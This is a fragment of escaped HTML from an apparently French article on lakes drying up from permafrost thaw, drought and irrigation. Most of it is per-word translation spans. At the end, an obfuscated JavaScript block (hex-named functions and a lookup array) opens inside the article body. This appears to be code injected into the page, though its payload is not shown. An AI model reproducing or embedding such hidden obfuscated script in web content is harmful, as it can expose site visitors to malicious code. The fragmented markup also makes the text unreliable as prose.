id=\"ouHighlight__92_95TO103_108\" class=\"\" style=\"color: #000000;\">artir<\/span><span id=\"noHighlight_0.5002367955166847\" style=\"color: #000000;\"> <\/span><span id=\"ouHighlight__97_97TO110_113\" class=\"\" style=\"color: #000000;\">d&#8217;une<\/span><span id=\"noHighlight_0.7166695781052113\" style=\"color: #000000;\">\u00a0<\/span><span id=\"ouHighlight__106_116TO132_147\" class=\"\" style=\"color: #000000;\">nappe phr\u00e9atique\u00a0<\/span><span id=\"noHighlight_0.45954083022661507\"><\/span><span id=\"ouHighlight__99_104TO149_156\" class=\"\" style=\"color: #000000;\">soudaine<\/span><span id=\"noHighlight_0.5896195617970079\" style=\"color: #000000;\"> <\/span><span id=\"ouHighlight__126_127TO158_159\" style=\"color: #000000;\">ou<\/span><span id=\"noHighlight_0.8825073183979839\" style=\"color: #000000;\"> de\u00a0<\/span><span id=\"noHighlight_0.494141707662493\"><span style=\"color: #000000;\">cumul\u00a0de l&#8217;eau de <\/span><\/span><span id=\"ouHighlight__137_145TO191_195\" class=\"\" style=\"color: #000000;\">pluie<\/span><span id=\"noHighlight_0.5982610930223018\" style=\"color: #000000;\">.\u00a0<\/span><span id=\"noHighlight_0.6076652025803924\"><\/span><span id=\"ouHighlight__148_149TO198_201\" style=\"color: #000000;\">Dans<\/span><span id=\"noHighlight_0.10773491906002164\" style=\"color: #000000;\"> les <\/span><span id=\"ouHighlight__162_168TO207_213\" style=\"color: #000000;\">r\u00e9gions<\/span><span id=\"noHighlight_0.48591312975622714\" style=\"color: #000000;\"> <\/span><span id=\"ouHighlight__151_160TO215_227\" style=\"color: #000000;\">perg\u00e9lisols<\/span><span id=\"noHighlight_0.8224892411381006\" style=\"color: #000000;\"> <\/span><span id=\"ouHighlight__170_179TO229_240\" class=\"\" style=\"color: #000000;\">tout au long<\/span><span id=\"noHighlight_0.43452023551799357\" style=\"color: #000000;\"> de la\u00a0<\/span><span id=\"ouHighlight__181_186TO248_253\" class=\"\" style=\"color: #000000;\">Russie<\/span><span id=\"noHighlight_0.4285558806732297\" style=\"color: #000000;\"> <\/span><span id=\"ouHighlight__188_190TO255_256\" style=\"color: #000000;\">et<\/span><span id=\"noHighlight_0.7514750009868294\" style=\"color: #000000;\"> <\/span><span id=\"ouHighlight__192_197TO258_265\" style=\"color: #000000;\">l&#8217;Alaska<\/span><span id=\"noHighlight_0.029028779827058315\" style=\"color: #000000;\">,<\/span><span id=\"noHighlight_0.47731456835754216\" style=\"color: #000000;\">\u00a0les\u00a0<\/span><span id=\"ouHighlight__200_204TO268_273\" style=\"color: #000000;\">petits<\/span><span id=\"noHighlight_0.9105491344816983\" style=\"color: #000000;\"> <\/span><span id=\"ouHighlight__206_210TO275_278\" style=\"color: #000000;\">lacs<\/span><span id=\"noHighlight_0.1264012958854437\" style=\"color: #000000;\"> <\/span><span id=\"ouHighlight__212_214TO280_283\" style=\"color: #000000;\">sont<\/span><span id=\"noHighlight_0.03606615192256868\" style=\"color: #000000;\"> <\/span><span id=\"ouHighlight__216_224TO285_293\" class=\"\" style=\"color: #000000;\">ass\u00e9ch\u00e9s<\/span><span id=\"noHighlight_0.1338073518127203\" style=\"color: #000000;\">\u00a0<\/span><span id=\"ouHighlight__226_227TO295_297\" style=\"color: #000000;\">car<\/span><span id=\"noHighlight_0.5018418887630105\" style=\"color: #000000;\"> <\/span><span id=\"ouHighlight__229_234TO299_301\" style=\"color: #000000;\">des\u00a0<\/span><span id=\"noHighlight_0.05073416652157903\" style=\"color: #000000;\">temp\u00e9ratures plus <\/span><span id=\"ouHighlight__236_247TO321_327\" style=\"color: #000000;\">\u00e9lev\u00e9es<\/span><span id=\"noHighlight_0.6235432573594153\" style=\"color: #000000;\"> <\/span><span id=\"ouHighlight__249_252TO329_338\" style=\"color: #000000;\">d\u00e9cong\u00e8lent les\u00a0<\/span><span id=\"ouHighlight__273_278TO340_346\" class=\"\" style=\"color: #000000;\">terrains<\/span><span id=\"noHighlight_0.4029336755629629\" style=\"color: #000000;\"> <\/span><span id=\"ouHighlight__266_271TO348_351\" style=\"color: #000000;\">gel\u00e9s<\/span><span id=\"noHighlight_0.8092862046323717\" style=\"color: #000000;\"> <\/span><span id=\"ouHighlight__254_264TO353_365\" class=\"\" style=\"color: #000000;\">en permanence<\/span><span id=\"noHighlight_0.436381870880723\" style=\"color: #000000;\"> <\/span><span id=\"ouHighlight__280_292TO367_379\" style=\"color: #000000;\">(perg\u00e9lisol).<\/span><span id=\"noHighlight_0.9890679200179875\" style=\"color: #000000;\"> <\/span><span id=\"ouHighlight__294_295TO381_382\" style=\"color: #000000;\">En<\/span><span id=\"noHighlight_0.8619053512811661\" style=\"color: #000000;\"> <\/span><span id=\"ouHighlight__297_304TO384_391\" style=\"color: #000000;\">Mongolie<\/span><span id=\"noHighlight_0.19748487626202404\" style=\"color: #000000;\">,<\/span><span id=\"noHighlight_0.7879716418683529\" style=\"color: #000000;\"> <\/span><span id=\"ouHighlight__307_310TO394_397\" class=\"\" style=\"color: #000000;\">plus<\/span><span id=\"noHighlight_0.042857480235397816\" style=\"color: #000000;\"> <\/span><span id=\"ouHighlight__312_315TO399_400\" class=\"\" style=\"color: #000000;\">de<\/span><span id=\"noHighlight_0.7424294892698526\" style=\"color: #000000;\"> <\/span><span id=\"ouHighlight__317_319TO402_404\" style=\"color: #000000;\">100<\/span><span id=\"noHighlight_0.7791457397397608\" style=\"color: #000000;\"> <\/span><span id=\"ouHighlight__321_325TO406_409\" style=\"color: #000000;\">lac s<\/span><span id=\"noHighlight_0.1757494816556573\"><\/span><span id=\"ouHighlight__327_337TO411_421\" style=\"color: #000000;\">ont disparu<\/span><span id=\"noHighlight_0.7249557010363787\" style=\"color: #000000;\"> <\/span><span id=\"ouHighlight__339_344TO423_429\" style=\"color: #000000;\">pendant<\/span><span id=\"noHighlight_0.8079280361998826\" style=\"color: #000000;\"> <\/span><span id=\"ouHighlight__346_348TO431_433\" class=\"\" style=\"color: #000000;\">les<\/span><span id=\"noHighlight_0.039653663989156485\" style=\"color: #000000;\"> <\/span><span id=\"ouHighlight__350_354TO435_445\" class=\"\" style=\"color: #000000;\">ann\u00e9es 2000<\/span><span id=\"noHighlight_0.9735649055801332\" style=\"color: #000000;\">\u00a0\u00e0 cause\u00a0<\/span><span id=\"ouHighlight__356_359TO447_448\" style=\"color: #000000;\">de<\/span><span id=\"noHighlight_0.2349320575594902\" style=\"color: #000000;\"> <\/span><span id=\"ouHighlight__361_367TO450_462\" class=\"\" style=\"color: #000000;\">la s\u00e9cheresse\u00a0<\/span><span id=\"noHighlight_0.9532711654901505\"><\/span><span id=\"ouHighlight__369_371TO464_465\" style=\"color: #000000;\">et<\/span><span id=\"noHighlight_0.38441607425920665\" style=\"color: #000000;\"> de la <\/span><span id=\"ouHighlight__373_377TO473_477\" style=\"color: #000000;\">forte<\/span><span id=\"noHighlight_0.258814356289804\" style=\"color: #000000;\"> <\/span><span id=\"ouHighlight__379_384TO479_485\" style=\"color: #000000;\">demande<\/span><span id=\"noHighlight_0.34768456197343767\" style=\"color: #000000;\"> <\/span><span id=\"ouHighlight__386_388TO487_490\" style=\"color: #000000;\">pour<\/span><span id=\"noHighlight_0.5885106062050909\" style=\"color: #000000;\"> <\/span><span id=\"ouHighlight__390_399TO492_503\" style=\"color: #000000;\">l&#8217;irrigation<\/span><span id=\"noHighlight_0.7682523243129253\" style=\"color: #000000;\">.<\/span><\/p>\n<p><script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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